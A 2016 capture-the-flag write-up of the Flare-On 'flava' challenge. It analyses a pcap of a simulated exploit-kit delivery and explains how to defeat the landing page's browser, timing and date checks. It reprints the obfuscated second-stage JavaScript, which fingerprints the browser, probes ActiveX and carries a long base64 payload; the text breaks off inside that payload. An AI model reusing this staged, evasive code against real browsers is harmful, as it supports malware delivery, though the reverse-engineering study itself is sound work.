Friday 4 November 2016

CTF Writeup - Flare-On 2016 - 10: flava


  • Name - flava
  • Category - Reverse Engineering
  • Points - 10
  • Description - n/a
  • Binary - Download here


The final Flare-on challenge was very long and tedious compared to the previous 9 put together. For a change we get a massive pcap rather than a binary file. The stream we're interested is 233, so set the filter to tcp.stream == 233. The communication is between 10.2.2.149 and 10.14.56.20 and the stream starts in the following way:


    GET / HTTP/1.1
    Accept: text/html, application/xhtml+xml, image/jxr, */*
    Referer: http://10.11.106.81:18089/flareon_found_in_milpitas.html
    Accept-Language: en-US,en;q=0.5
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
    Accept-Encoding: gzip, deflate
    Host: 10.14.56.20:18089
    DNT: 1
    Connection: Keep-Alive
    
    HTTP/1.1 200 OK
    Content-Type: text/html
    Date: Thu, 08 Sep 2016 23:42:05 GMT
    Connection: keep-alive
    Transfer-Encoding: chunked
    
    10d73
    <!DOCTYPE html>
    <html>
    <head>



The stream contains the following request/response pairs:
  1. GET request ('/') with a response containing an obfuscated landing page
  2. POST request ('/i_knew_you_were_trouble ') containing a base64 string with a response containing another base64 string
  3. GET request ('/will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh') with a response containing a Flash file
Extract the html landing page and the SWF file. We'll start off with the landing page first.

Part I: The Landing Page


The landing page looks something like this in IE:


Remove all the debugger; statements from the javascript and beautify the script. Do not remove any html content though as some of it is referenced form the javascript. If we run it, we don't get anything; not even errors. This is because the final part of the script is contained in a try-catch block:

    try {
        if (FiAwn == 1) {
            var U7weQ = new Function(i9mk);
            U7weQ();
            FiAwn = 2
        } 
        else {
            var O0fdFD = new Function(i9mk);
            O0fdFD(i9mk)
        }
    } catch (lol) {}

Removing the try-catch block, we get SyntaxError: Illegal character. The function Function() expects correct javascript to execute it. The script contains 3 validation routines which, if any of them fails, it produces the wrong output which is not javascript. The first check is the following (I've cleaned up the javascript):

    try {
        if (UytFdye['ScriptEngineBuildVersion']() === 545) {
            utaNfs = 0;
        } else {
            utaNfs = 2;
        }
    } catch (e) {
        utaNfs = 4;
    }
    LiZAqJ = utaNfs;


This ScriptEngineBuildVersion function will only work in IE. If Firefox or Chrome is used, we end up in the catch statement. We require LiZAqJ to be 0; let's change the code to force this. The second change we have to preform is in this section:

    if (ruHGNbQNzSlh && (!ruHGNbQNzSlh['out' + 'er' + HGLsdfij] || ruHGNbQNzSlh[u9Zdsjl] < (35144 ^ 35912))) {
        DM7w7I = 1;
    } 
    else {
        var IhUgy = new Date();
        DM7w7I = (IhUgy - JKhURsf > 100) ? 3 : 0
    }

The variable DM7w7I has to be set to 0. And the last validation routine compares today's date with the 9th of September 2016:

    function UIgvkFSsu() {
        //oiHqEd = 9th of September 2016
        //JKhURsf = today's date
        if (JKhURsf < oiHqEd) {
            return true;
        } 
        else {
            return false;
        }
    }

We require our date to be smaller than the fixed date so the function returns true. As it's a bit of a hassle to travel to the past, we'll settle with modifying the code to always return true. Instead of calling the new javascript, we would like to get a copy of it, so modify Function(i9mk) to read document.write(i9mk) (putting it between pre statement might help), open the page and copy the printed javascript into a new file for further analysis.

I have provided a copy of the 2nd javascript layer for reference and just in case anyone would like a copy:

function k() {
    String['prototype']['kek'] = function(a, b, c, d) {
        var e = '';
        a = unescape(a);
        for (var f = 0; f < a['length']; f++) {
            var g = b ^ a['charCodeAt'](f);
            e += String['fromCharCode'](g);
            b = (b * c + d) & 0xFF;
        }
        return e;
    }, String['prototype']['' ['kek']('%0B%5Ei', 108, 41, 237)] = function() {
        return '' ['kek']('%C96%E4B%3Ei_%83n%C1%82%FB%DC%01%EAA+o', 175, 129, 43);
    }, String['prototype']['' ['kek']('6%87%24', 94, 13, 297)] = function() {
        return '' ['kek']('4%94%0D%86%7BVXJ%AD%1C%87%0E%FE%C0%DA%D2%20%82%01%ACWAJd%B6%06%8D/', 92, 33, 31);
    };

    try {
        m();
        var a = l();
        var b = Function(a);
        b();
    } catch (zzzzz) {}
}

try {
    k();
} catch (z) {}

function m() {
    String['prototype']['lol'] = String['prototype']['>_<'] = String['prototype']['o3o'] = String['prototype']['>_O'] = String['prototype']['-Q-'] = String['prototype']['Orz'] = String['prototype']['^_^'] = String['prototype']['OGC'] = String['prototype']['O_o'] = String['prototype']['-,-'] = String['prototype']['kek'];
    window.fvOWbauMcjLj = window.fvOWbauMcjLs = window.fvOWbauMcjLf1 = window.fvOWbauMcjLf2 = '' ['-Q-'];

    window.gFVaUK = false;
    window.LAAOEpH = false;
    window['rghv3ee'] = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    window['wdns9Ie'] = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/=';
    window['UoqK1Yl'] = window['wdns9Ie'];
}


function j() {
    var blah;
    var a = navigator,
        b = 0;
    if (a[window.fvOWbauMcjLj('u%B2%C7%D1%85b%03%89%FC', 0, 33, 193)][window.fvOWbauMcjLf2('xV%BBc%D5%9B%1D', 17, 129, 167)](window.fvOWbauMcjLs('%CC%E5%22%E5', 129, 129, 181)) == -1 && a[window.fvOWbauMcjLf1('Q%85%BE%5DYC%89%8E%E7%C3', 48, 5, 5)][window.fvOWbauMcjLs('%EF%CD%F4%28%A2x%02', 134, 17, 189)](window.fvOWbauMcjLj('%D67%7D%7B3%07%BC%8C', 130, 5, 187)) == -1) {
        window.gFVaUK = true;
    }
    var c = window.fvOWbauMcjLj('%F3%C2M%F9%E1%5D%F9%FE%29%95%9F%C4J.P', 184, 17, 107) + window.fvOWbauMcjLf2('t%B4%C3%CF%8F%60%1F%85%E7%28', 0, 33, 193) + window.fvOWbauMcjLs('r%A5%F2%CF%B1b%0F%89%A6%03K%5D-%FE%8D%1Dy%A1%C6%F2%A4%7C', 0, 33, 193);

    var d = c,
        e = c + window.fvOWbauMcjLf1('%3F%09', 17, 129, 167),
        f = c + window.fvOWbauMcjLj('%AF%824%95%0A%BA%11E', 129, 129, 181);

    try {
        blah = new ActiveXObject(d);
    } catch (w) {
        blah = false;
        try {
            blah = new ActiveXObject(e);
        } catch (w) {
            blah = false;
            try {
                blah = new ActiveXObject(f);
            } catch (w) {
                blah = false;
            }
        }
    }
    if (blah) {
        window.LAAOEpH = true;
    }

    if (!window.gFVaUK && !window.LAAOEpH) {
        window['UoqK1Yl'] = window['rghv3ee'];
    } else {
        window['UoqK1Yl'] = window['wdns9Ie'];
    }
}

function l() {
    j();
    var a = "dmFyIElsMUliID0gTWF0aCwgSWwxSWMgPSBTdHJpbmcsIElsMUlJbGwxYSA9IEpTT04sIElsMUlJbGwxYiA9IFhNTEh0dHBSZXF1ZXN0Owp2YXIgSWwxSWUgPSAnJ1snbG9sJ10oJzklRTQ0JUJDJTFBcCcsIDkwLCA5LCA5NyksCiBJbDFJZiA9ICcnWyc+XzwnXSgnJUQwJTk0JTE4RiVBNSVDMCcsIDE2MiwgNSwgMTk5KSwKIElsMUlnID0gJydbJ09HQyddKCclQjclNUJ5NCVCNiVCNHcnLCAxOTksIDMzLCAxNDcpLAogSWwxSWggPSAnJ1snLVEtJ10oJyVCN2olMTYlOUUlMDQlODglRTQlM0VqJywgMTk5LCAxNywgMjI1KSwKIElsMUkgPSAnJ1snPl9PJ10oJyVEQiVGQ3klN0QlRTEnLCAxNjgsIDEyOSwgMjQ3KSwKIElsMUlpID0gJydbJ28zbyddKCclQzRKJTEzc0klRjclM0QnLCAxNzMsIDUsIDE5NSksCiBJbDFJaiA9ICcnWydPcnonXSgnJUQ2JUU0elAlMjAlRUMnLCAxODEsIDksIDQ3KSwKIElsMUlrID0gJydbJ09yeiddKCdGJTkyJTFDJUQ1JURGJTAyJywgNTIsIDY1LCAxOTEpLAogSWwxSWwgPSAnJ1snXl9eJ10oJyUzRXElMDElRjQlQzdHJUZCJUI3JUYzNCVBMiU5NCcsIDg4LCA2NSwgMTcxKSwKIElsMUltID0gJydbJ15fXiddKCclREZ1JTVDX2MnLCAxOTAsIDMzLCAxMzUpLAogSWwxSW4gPSAnJ1snbG9sJ10oJyVGQSU1RSUxQSVGNlYlOUYnLCAxNTAsIDUsIDc3KSwKIElsMUlvID0gJydbJz5fPCddKCclRjlTJUY4JUFFJUJCJTExJTg5cScsIDE0MSwgNjUsIDExMSksCiBJbDFJcCA9ICcnWydPR0MnXSgnJTAzJUY3JUI3JUI3byVBNCUwNiVENDklMDMnLCA5NiwgOSwgNjMpLAogSWwxSXEgPSAnJ1snT19vJ10oJyVDMyVCRSUxMCVDMysnLCAxNjUsIDEyOSwgMTczKSwKIElsMUlyID0gJydbJ2xvbCddKCclRDQlMUIlRTdNJywgMTY3LCAzMywgMjM1KTsKdmFyIElsMUliYkFhID0gJydbJz5fTyddKCclMTAlOEQlODElQ0UlMTclQTl5OSU1QiVGMCUzQnglREUlM0ZDJUVCJTg1JUZEJUVFJThBJTgwJUZBeSU5RCVDQyVBMTElRDRLSCUyMyVBRjYuJTg0JTVEJTI4JUQ4JTA2ZGclMjQlMjYlRTAlRTMlOEUwcyVBOCUxRiVCMSUxMCVBRiUxQiUwOSUwMyVFMyUwMiVFQlIlNUMlQTklMTMlRTUlRTNPJTNFJUJDJUU2ZCUyOSVDNyozJUMxQyVBOSVGQSUxMyVEMnQlQjB0aFklODZPMycsIDY1LCA1LCAxNDcpOwp2YXIgSWwxSWJic3MgPSAnJ1snLSwtJ10oJyolRjFtJTg5MSU4MicsIDg5LCAzMywgMTEpLAogSWwxSWJic28gPSA2LCBJbDFJYmJzaSA9IDIsIElsMUliYnNuID0gMTA7IAp2YXIgSWwxSWJic2EgPSAnJ1snT19vJ10oJ0clMDJuJTFGZUIlOTMlN0MlQkYlOEIlRkElODAlRjklQUYlMUIlQzMnLCA1MiwgMTI5LCA1MSksCiBJbDFJYmJzYiA9ICcnWyctUS0nXSgnJTlGJTIzJUFCTycsIDI0MCwgOSwgMjI3KSwKIElsMUliYnNjID0gJydbJ09yeiddKCclRUUlREIxJUU0JywgMTU3LCAxMjksIDE2MSksCiBJbDFJYmJzZCA9ICcnWydPcnonXSgnJUFGVWQ0JThEJTgzJTNCJThFbCVGMiUxQSVDQyUyN1clRkIlM0IlMTclOEUnLCAxOTIsIDMzLCAxMjMpLAogSWwxSWJic2UgPSAnJ1snXl9eJ10oJyUwOCVDMCVGMV8lREYlODIlQzglMDYlQTYlOTgnLCAxMjIsIDY1LCAxNzEpLAogSWwxSWJic2YgPSAnJ1snT19vJ10oJzElRkRpJTBCJURCJTI2JywgNjYsIDksIDU1KSwKIElsMUliYnNnID0gJydbJy0sLSddKCdsVEMlM0IlRUQlQTMlN0MlMTAlOUUnLCAzMSwgMTcsIDE3KSwKIElsMUliYnNoID0gJydbJz5fPCddKCdHJUUxJTdCJUExJUJFJywgNTUsIDY1LCAxMzcpLAogSWwxSWJic2wgPSBlc2NhcGUsCiBJbDFJYmJzaiA9IHVuZXNjYXBlLAogSWwxSWJic2sgPSAnJ1snbzNvJ10oJyUwOW1GciUwMCUxMlolMTM3JTk1ZSU5RScsIDEyMywgMzMsIDQ1KSwKIElsMUliYnNwID0gJydbJ28zbyddKCdzJUREJUEyJTE0JywgMzUsIDE3LCA2MyksCiBJbDFJYmJzdCA9IGZhbHNlOwoKSWwxSVogPSBmdW5jdGlvbihpKQp7CiB2YXIgayA9ICcnWyctLC0nXSgnJThFSkpWJTI2eiU5QSVDRSUzRSVCQXo2RmpKJUJFTiU4QSUwQSVCNicsIDIwNywgOSwgMTkzKSArICcnWydPX28nXSgnJTVFJUMwLiUyQyUxRSVFOCUxNDIlNjAqJTk0JUNBWCUwMiU4NCVFMiU5MGolMDQlOEFYUiUxNCVCMiU4MCVDQSU5NGonLCAxMSwgOSwgNTEpICsgJydbJ09yeiddKCclMUElQjYlMTYqQSVFM0FnQSVFM0FvQSVFM1BzQCcsIDEwOSwgNjUsIDMzKTsKIHZhciBvID0gJyc7CiB2YXIgdCA9IDA7CiB3aGlsZSAodCA8IGlbSWwxSW5dKQogewogdmFyIGMxID0gaVtJbDFJcF0odCsrKTsKIHZhciBjMiA9IGlbSWwxSXBdKHQrKyk7CiB2YXIgYzMgPSBpW0lsMUlwXSh0KyspOwogdmFyIGUxID0gYzEgPj4gMjsKIHZhciBlMiA9ICgoYzEgJiAzKSA8PCA0KSB8IChjMiA+PiA0KTsKIHZhciBlMyA9ICgoYzIgJiAxNSkgPDwgMikgfCAoYzMgPj4gNik7CiB2YXIgZTQgPSBjMyAmIDYzOwogaWYgKGlzTmFOKGMyKSkKIHsKIGUzID0gZTQgPSA2NDsKIH0KIGVsc2UgaWYgKGlzTmFOKGMzKSkKIHsKIGU0ID0gNjQ7CiB9CiBvICs9IGtbSWwxSWpdKGUxKSArIGtbSWwxSWpdKGUyKSArIGtbSWwxSWpdKGUzKSArIGtbSWwxSWpdKGU0KTsKIH0KIHJldHVybiBvOwp9CgpJbDFJWSA9IGZ1bmN0aW9uKGkpCnsKIHZhciBrID0gJydbJ09HQyddKCdLb1MlRjdTJTdGJTVCJUY3ayUwRmMlODdjJTFGJTdCJTg3ayUwRiUxMyVCNycsIDEwLCA2NSwgMTYzKSArICcnWydPR0MnXSgnQSU5MSUxMSU5OXFxJTVCJUU3JTlGKyU4Qm8lRjclNUIlMEIlMjclOEYlQkIlRkIlM0YlOTdLJUZCZyVCRitLJUVGJywgMjAsIDUsIDk5KSArICcnWydPR0MnXSgnJTE3JUVCJUZGQyU5QyVFRSVFMCVCNiVDQyUxRSUyOCVFNiU3Q05BMiVBRCcsIDk2LCA2NSwgNTEpOwogdmFyIG8gPSAnJzsKIHZhciByID0gL1teQS1aYS16MC05XCtcL1w9XS9nOwogaSA9IGkucmVwbGFjZShyLCAnJyk7CiB2YXIgdCA9IDA7Cgogd2hpbGUgKHQgPCBpW0lsMUluXSkKIHsKIHZhciBlMSA9IGtbSWwxSWldKGlbSWwxSWpdKHQrKykpOwogdmFyIGUyID0ga1tJbDFJaV0oaVtJbDFJal0odCsrKSk7CiB2YXIgZTMgPSBrW0lsMUlpXShpW0lsMUlqXSh0KyspKTsKIHZhciBlNCA9IGtbSWwxSWldKGlbSWwxSWpdKHQrKykpOwogdmFyIGMxID0gKGUxIDw8IDIpIHwgKGUyID4+IDQpOwogdmFyIGMyID0gKChlMiAmIDE1KSA8PCA0KSB8IChlMyA+PiAyKTsKIHZhciBjMyA9ICgoZTMgJiAzKSA8PCA2KSB8IGU0OwogbyArPSBJbDFJY1tJbDFJbF0oYzEpOwogaWYgKGUzICE9IDY0KQogewogbyArPSBJbDFJY1tJbDFJbF0oYzIpOwogfQogaWYgKGU0ICE9IDY0KQogewogbyArPSBJbDFJY1tJbDFJbF0oYzMpOwogfQogfQogcmV0dXJuIG87Cn07CgoKKGZ1bmN0aW9uKCl7CiB2YXIgSWwxSXMsIElsMUl0OwoKIGZ1bmN0aW9uIElsMUl1KGEsYixjKSB7CiBpZihhICE9IG51bGwpCiBpZignbnVtYmVyJyA9PSB0eXBlb2YgYSkgdGhpcy5JbDFJYmEoYSxiLGMpOwogZWxzZSBpZihiID09IG51bGwgJiYgJ3N0cmluZycgIT0gdHlwZW9mIGEpIHRoaXMuSWwxSXcoYSwyNTYpOwogZWxzZSB0aGlzLklsMUl3KGEsYik7CiB9CgogZnVuY3Rpb24gSWwxSXgoKSB7IHJldHVybiBuZXcgSWwxSXUobnVsbCk7IH0KCiBmdW5jdGlvbiBJbDFJY2EoaSx4LHcsaixjLG4pIHsKIHdoaWxlKC0tbiA+PSAwKSB7CiB2YXIgdiA9IHgqdGhpc1tpKytdK3dbal0rYzsKIGMgPSBJbDFJYltJbDFJcV0odi82NzEwODg2NCk7CiB3W2orK10gPSB2JjY3MTA4ODYzOwogfQogcmV0dXJuIGM7CiB9CgogZnVuY3Rpb24gSWwxSWRhKGkseCx3LGosYyxuKSB7CiB2YXIgeGwgPSB4JjMyNzY3LCB4aCA9IHg+PjE1Owogd2hpbGUoLS1uID49IDApIHsKIHZhciBsID0gdGhpc1tpXSYzMjc2NzsKIHZhciBoID0gdGhpc1tpKytdPj4xNTsKIHZhciBtID0geGgqbCtoKnhsOwogbCA9IHhsKmwrKChtJjMyNzY3KTw8MTUpK3dbal0rKGMmMTA3Mzc0MTgyMyk7CiBjID0gKGw+Pj4zMCkrKG0+Pj4xNSkreGgqaCsoYz4+PjMwKTsKIHdbaisrXSA9IGwmMTA3Mzc0MTgyMzsKIH0KIHJldHVybiBjOwogfQoKIGZ1bmN0aW9uIElsMUllYShpLHgsdyxqLGMsbikgewogdmFyIHhsID0geCYxNjM4MywgeGggPSB4Pj4xNDsKIHdoaWxlKC0tbiA+PSAwKSB7CiB2YXIgbCA9IHRoaXNbaV0mMTYzODM7CiB2YXIgaCA9IHRoaXNbaSsrXT4+MTQ7CiB2YXIgbSA9IHhoKmwraCp4bDsKIGwgPSB4bCpsKygobSYxNjM4Myk8PDE0KSt3W2pdK2M7CiBjID0gKGw+PjI4KSsobT4+MTQpK3hoKmg7CiB3W2orK10gPSBsJjI2ODQzNTQ1NTsKIH0KIHJldHVybiBjOwogfQoKIHZhciBJbDFJZ2cgPSB0eXBlb2YgbmF2aWdhdG9yICE9PSAndW5kZWZpbmVkJzsKIGlmKElsMUlnZyAmJiAobmF2aWdhdG9yLmFwcE5hbWUgPT0gJydbJ09fbyddKCdsaSVBQyVGQ1IlQUYlMDQlOEMtJTk4TiUyOCUwMSVGMSVEMSVDQyVGNCUwNCUxRiVCQiVENSUzQyVCNzUlQkJNJTA1JywgMzMsIDE3LCAyMDcpKSkgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWRhOwogSWwxSXQgPSAzMDsKIH0KIGVsc2UgaWYgKElsMUlnZyAmJiAobmF2aWdhdG9yLmFwcE5hbWUgIT0gJydbJy0sLSddKCclMTMlOTMlN0IlREIlQTIlM0IlMDNpJywgOTMsIDEyOSwgMjUpKSkgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWNhOwogSWwxSXQgPSAyNjsKIH0KIGVsc2UgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWVhOwogSWwxSXQgPSAyODsKIH0KCiBJbDFJcyA9IElsMUl1W0lsMUloXTsKCiBJbDFJcy5EQiA9IElsMUl0OwogSWwxSXMuRE0gPSAoKDE8PElsMUl0KS0xKTsKIElsMUlzLkRWID0gKDE8PElsMUl0KTsKCiBJbDFJcy5GViA9IElsMUliLnBvdygyLDUyKTsKIElsMUlzLkYxID0gNTItSWwxSXQ7CiBJbDFJcy5GMiA9IDIqSWwxSXQtNTI7CgogdmFyIElsMUlmYSA9ICcnWydsb2wnXSgnJTlCJTk3SyVENyU5MyVCNyUwMyVCNyUxQiVFNyUxMCVGRSU3QyVERUglNUUlRkMlN0UlMDAlM0UlRkMlOUVIJTlFJTdDJTNFJTEwJTdFJTdDJTVFaCVERSVGQyVGRSUyMCVCRScsIDE3MSwgOSwgMTYzKTsKIHZhciBJbDFJeiA9IG5ldyBBcnJheSgpOwogdmFyIElsMUlBLElsMUlCOwogSWwxSUEgPSAnMCdbSWwxSXBdKDApOwogZm9yKElsMUlCID0gMDsgSWwxSUIgPD0gOTsgKytJbDFJQikgSWwxSXpbSWwxSUErK10gPSBJbDFJQjsKIElsMUlBID0gJ2EnW0lsMUlwXSgwKTsKIGZvcihJbDFJQiA9IDEwOyBJbDFJQiA8IDM2OyArK0lsMUlCKSBJbDFJeltJbDFJQSsrXSA9IElsMUlCOwogSWwxSUEgPSAnQSdbSWwxSXBdKDApOwogZm9yKElsMUlCID0gMTA7IElsMUlCIDwgMzY7ICsrSWwxSUIpIElsMUl6W0lsMUlBKytdID0gSWwxSUI7CgogZnVuY3Rpb24gSWwxSWkyYyhuKSB7IHJldHVybiBJbDFJZmFbSWwxSWpdKG4pOyB9CgogZnVuY3Rpb24gSWwxSWdhKHMsaSkgewogdmFyIGMgPSBJbDFJeltzW0lsMUlwXShpKV07CiByZXR1cm4gKGM9PW51bGwpPy0xOmM7CiB9CgogZnVuY3Rpb24gSWwxSWVibihyKSB7CiBmb3IodmFyIGkgPSB0aGlzLnQtMTsgaSA+PSAwOyAtLWkpIHJbaV0gPSB0aGlzW2ldOwogci50ID0gdGhpcy50Owogci5zID0gdGhpcy5zOwogfQoKIGZ1bmN0aW9uIElsMUlEYm4oeCkgewogdGhpcy50ID0gMTsKIHRoaXMucyA9ICh4PDApPy0xOjA7CiBpZih4ID4gMCkgdGhpc1swXSA9IHg7CiBlbHNlIGlmKHggPCAtMSkgdGhpc1swXSA9IHgrdGhpcy5EVjsKIGVsc2UgdGhpcy50ID0gMDsKIH0KCiBmdW5jdGlvbiBJbDFJQyhpKSB7IHZhciByID0gSWwxSXgoKTsgci5JbDFJRChpKTsgcmV0dXJuIHI7IH0KCiBmdW5jdGlvbiBJbDFJd2JuKHMsYikgewogdmFyIGs7CiBpZihiID09IDE2KSBrID0gNDsKIGVsc2UgaWYoYiA9PSA4KSBrID0gMzsKIGVsc2UgaWYoYiA9PSAyNTYpIGsgPSA4OwogZWxzZSBpZihiID09IDIpIGsgPSAxOwogZWxzZSBpZihiID09IDMyKSBrID0gNTsKIGVsc2UgaWYoYiA9PSA0KSBrID0gMjsKIGVsc2UgeyB0aGlzLklsMUlsbDFmKHMsYik7IHJldHVybjsgfQogdGhpcy50ID0gMDsKIHRoaXMucyA9IDA7CiB2YXIgaSA9IHMubGVuZ3RoLCBtaSA9IGZhbHNlLCBzaCA9IDA7CiB3aGlsZSgtLWkgPj0gMCkgewogdmFyIHggPSAoaz09OCk/c1tpXSYyNTU6SWwxSWdhKHMsaSk7CiBpZih4IDwgMCkgewogaWYocy5jaGFyQXQoaSkgPT0gJy0nKSBtaSA9IHRydWU7CiBjb250aW51ZTsKIH0KIG1pID0gZmFsc2U7CiBpZihzaCA9PSAwKQogdGhpc1t0aGlzLnQrK10gPSB4OwogZWxzZSBpZihzaCtrID4gdGhpcy5EQikgewogdGhpc1t0aGlzLnQtMV0gfD0gKHgmKCgxPDwodGhpcy5EQi1zaCkpLTEpKTw8c2g7CiB0aGlzW3RoaXMudCsrXSA9ICh4Pj4odGhpcy5EQi1zaCkpOwogfQogZWxzZQogdGhpc1t0aGlzLnQtMV0gfD0geDw8c2g7CiBzaCArPSBrOwogaWYoc2ggPj0gdGhpcy5EQikgc2ggLT0gdGhpcy5EQjsKIH0KIGlmKGsgPT0gOCAmJiAoc1swXSYxMjgpICE9IDApIHsKIHRoaXMucyA9IC0xOwogaWYoc2ggPiAwKSB0aGlzW3RoaXMudC0xXSB8PSAoKDE8PCh0aGlzLkRCLXNoKSktMSk8PHNoOwogfQogdGhpcy5JbDFJTigpOwogaWYobWkpIElsMUlMLklsMUlNKHRoaXMsdGhpcyk7CiB9CgogZnVuY3Rpb24gSWwxSU5ibigpIHsKIHZhciBjID0gdGhpcy5zJnRoaXMuRE07CiB3aGlsZSh0aGlzLnQgPiAwICYmIHRoaXNbdGhpcy50LTFdID09IGMpIC0tdGhpcy50OwogfQoKIGZ1bmN0aW9uIElsMUlsbDFjYm4ocikgeyByZXR1cm4gSWwxSWIuZmxvb3IoSWwxSWIuTE4yKnRoaXMuREIvSWwxSWIubG9nKHIpKTt9CgogZnVuY3Rpb24gSWwxSWxsMW1ibihuKSB7CiB0aGlzW3RoaXMudF0gPSB0aGlzLmFtKDAsbi0xLHRoaXMsMCwwLHRoaXMudCk7CiArK3RoaXMudDsKIHRoaXMuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxbmJuKCkgewogaWYodGhpcy5zIDwgMCkgcmV0dXJuIC0xOwogZWxzZSBpZih0aGlzLnQgPD0gMCB8fCAodGhpcy50ID09IDEgJiYgdGhpc1swXSA8PSAwKSkgcmV0dXJuIDA7CiBlbHNlIHJldHVybiAxOwogfQoKIGZ1bmN0aW9uIElsMUlsbDFpYm4oKSB7CiBpZih0aGlzLnMgPCAwKSB7CiBpZih0aGlzLnQgPT0gMSkgcmV0dXJuIHRoaXNbMF0tdGhpcy5EVjsKIGVsc2UgaWYodGhpcy50ID09IDApIHJldHVybiAtMTsKIH0KIGVsc2UgaWYodGhpcy50ID09IDEpIHJldHVybiB0aGlzWzBdOwogZWxzZSBpZih0aGlzLnQgPT0gMCkgcmV0dXJuIDA7CiByZXR1cm4gKCh0aGlzWzFdJigoMTw8KDMyLXRoaXMuREIpKS0xKSk8PHRoaXMuREIpfHRoaXNbMF07CiB9CgogZnVuY3Rpb24gSWwxSWxsMXRibihiKSB7CiBpZihiID09IG51bGwpIGIgPSAxMDsKIGlmKHRoaXMuSWwxSWxsMW4oKSA9PSAwIHx8IGIgPCAyIHx8IGIgPiAzNikgcmV0dXJuICcwJzsKIHZhciBjcyA9IHRoaXMuSWwxSWxsMWMoYik7CiB2YXIgYSA9IElsMUliLnBvdyhiLGNzKTsKIHZhciBkID0gSWwxSUMoYSksIHkgPSBJbDFJeCgpLCB6ID0gSWwxSXgoKSwgciA9ICcnOwogdGhpcy5JbDFJSChkLHkseik7CiB3aGlsZSh5LklsMUlsbDFuKCkgPiAwKSB7CiByID0gKGErei5JbDFJbGwxaSgpKS50b1N0cmluZyhiKS5zdWJzdHIoMSkgKyByOwogeS5JbDFJSChkLHkseik7CiB9CiByZXR1cm4gei5JbDFJbGwxaSgpLnRvU3RyaW5nKGIpICsgcjsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxZmJuKHMsYikgewogdGhpcy5JbDFJRCgwKTsKIGlmKGIgPT0gbnVsbCkgYiA9IDEwOwogdmFyIGNzID0gdGhpcy5JbDFJbGwxYyhiKTsKIHZhciBkID0gSWwxSWIucG93KGIsY3MpLCBtaSA9IGZhbHNlLCBqID0gMCwgdyA9IDA7CiBmb3IodmFyIGkgPSAwOyBpIDwgcy5sZW5ndGg7ICsraSkgewogdmFyIHggPSBJbDFJZ2EocyxpKTsKIGlmKHggPCAwKSB7CiBpZihzLmNoYXJBdChpKSA9PSAnLScgJiYgdGhpcy5JbDFJbGwxbigpID09IDApIG1pID0gdHJ1ZTsKIGNvbnRpbnVlOwogfQogdyA9IGIqdyt4OwogaWYoKytqID49IGNzKSB7CiB0aGlzLklsMUlsbDFtKGQpOwogdGhpcy5JbDFJUSh3LDApOwogaiA9IDA7CiB3ID0gMDsKIH0KIH0KIGlmKGogPiAwKSB7CiB0aGlzLklsMUlsbDFtKElsMUliLnBvdyhiLGopKTsKIHRoaXMuSWwxSVEodywwKTsKIH0KIGlmKG1pKSBJbDFJTC5JbDFJTSh0aGlzLHRoaXMpOwogfQoKIGZ1bmN0aW9uIElsMUlsbDFzKGIpIHsKIGlmKHRoaXMucyA8IDApIHJldHVybiAnLScrdGhpcy5JbDFJbGwxbygpLnRvU3RyaW5nKGIpOwogdmFyIGs7CiBpZihiID09IDE2KSBrID0gNDsKIGVsc2UgaWYoYiA9PSA4KSBrID0gMzsKIGVsc2UgaWYoYiA9PSAyKSBrID0gMTsKIGVsc2UgaWYoYiA9PSAzMikgayA9IDU7CiBlbHNlIGlmKGIgPT0gNCkgayA9IDI7CiBlbHNlIHJldHVybiB0aGlzLklsMUlsbDF0KGIpOwogdmFyIGttID0gKDE8PGspLTEsIGQsIG0gPSBmYWxzZSwgciA9ICcnLCBpID0gdGhpcy50OwogdmFyIHAgPSB0aGlzLkRCLShpKnRoaXMuREIpJWs7CiBpZihpLS0gPiAwKSB7CiBpZihwIDwgdGhpcy5EQiAmJiAoZCA9IHRoaXNbaV0+PnApID4gMCkgeyBtID0gdHJ1ZTsgciA9IElsMUlpMmMoZCk7IH0KIHdoaWxlKGkgPj0gMCkgewogaWYocCA8IGspIHsKIGQgPSAodGhpc1tpXSYoKDE8PHApLTEpKTw8KGstcCk7CiBkIHw9IHRoaXNbLS1pXT4+KHArPXRoaXMuREItayk7CiB9CiBlbHNlIHsKIGQgPSAodGhpc1tpXT4+KHAtPWspKSZrbTsKIGlmKHAgPD0gMCkgeyBwICs9IHRoaXMuREI7IC0taTsgfQogfQogaWYoZCA+IDApIG0gPSB0cnVlOwogaWYobSkgciArPSBJbDFJaTJjKGQpOwogfQogfQogcmV0dXJuIG0/cjonMCc7CiB9CgogZnVuY3Rpb24gSWwxSWxsMW9ibigpIHsgdmFyIHIgPSBJbDFJeCgpOyBJbDFJTC5JbDFJTSh0aGlzLHIpOyByZXR1cm4gcjsgfQoKIGZ1bmN0aW9uIElsMUlsbDFhYm4oKSB7IHJldHVybiAodGhpcy5zPDApP3RoaXMuSWwxSWxsMW8oKTp0aGlzOyB9CgogZnVuY3Rpb24gSWwxSUdibihhKSB7CiB2YXIgciA9IHRoaXMucy1hLnM7CiBpZihyICE9IDApIHJldHVybiByOwogdmFyIGkgPSB0aGlzLnQ7CiByID0gaS1hLnQ7CiBpZihyICE9IDApIHJldHVybiAodGhpcy5zPDApPy1yOnI7CiB3aGlsZSgtLWkgPj0gMCkgaWYoKHI9dGhpc1tpXS1hW2ldKSAhPSAwKSByZXR1cm4gcjsKIHJldHVybiAwOwogfQoKIGZ1bmN0aW9uIElsMUlFKHgpIHsKIHZhciByID0gMSwgdDsKIGlmKCh0PXg+Pj4xNikgIT0gMCkgeyB4ID0gdDsgciArPSAxNjsgfQogaWYoKHQ9eD4+OCkgIT0gMCkgeyB4ID0gdDsgciArPSA4OyB9CiBpZigodD14Pj40KSAhPSAwKSB7IHggPSB0OyByICs9IDQ7IH0KIGlmKCh0PXg+PjIpICE9IDApIHsgeCA9IHQ7IHIgKz0gMjsgfQogaWYoKHQ9eD4+MSkgIT0gMCkgeyB4ID0gdDsgciArPSAxOyB9CiByZXR1cm4gcjsKIH0KCiBmdW5jdGlvbiBJbDFJbWFibigpIHsKIGlmKHRoaXMudCA8